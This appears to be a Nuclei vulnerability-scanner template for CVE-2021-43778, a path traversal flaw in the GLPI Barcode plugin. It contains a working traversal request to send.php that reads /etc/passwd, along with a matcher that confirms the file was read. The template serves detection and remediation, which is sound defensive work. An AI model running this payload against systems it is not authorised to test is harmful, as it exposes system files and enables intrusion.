45 lines
1.6 KiB
YAML
45 lines
1.6 KiB
YAML
id: CVE-2021-43778
|
|
|
|
info:
|
|
name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
|
|
author: cckuailong
|
|
severity: high
|
|
description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
|
|
remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
|
|
reference:
|
|
- https://github.com/AK-blank/CVE-2021-43778
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-43778
|
|
- https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
|
|
- https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
|
|
- https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-43778
|
|
cwe-id: CWE-22
|
|
epss-score: 0.77372
|
|
epss-percentile: 0.97903
|
|
cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: glpi-project
|
|
product: barcode
|
|
tags: glpi,cve,cve2021,lfi,plugin,traversal
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100b8418f66986bbb35a46b5a73deb7cd31f3051f3b2238d82722aef2e96599fade02204150f0fd45f8853c4d7e5f6f3d6f939b4a83ec00a9d878ae191762059b3f0517:922c64590222798bb761d5b6d8e72950
|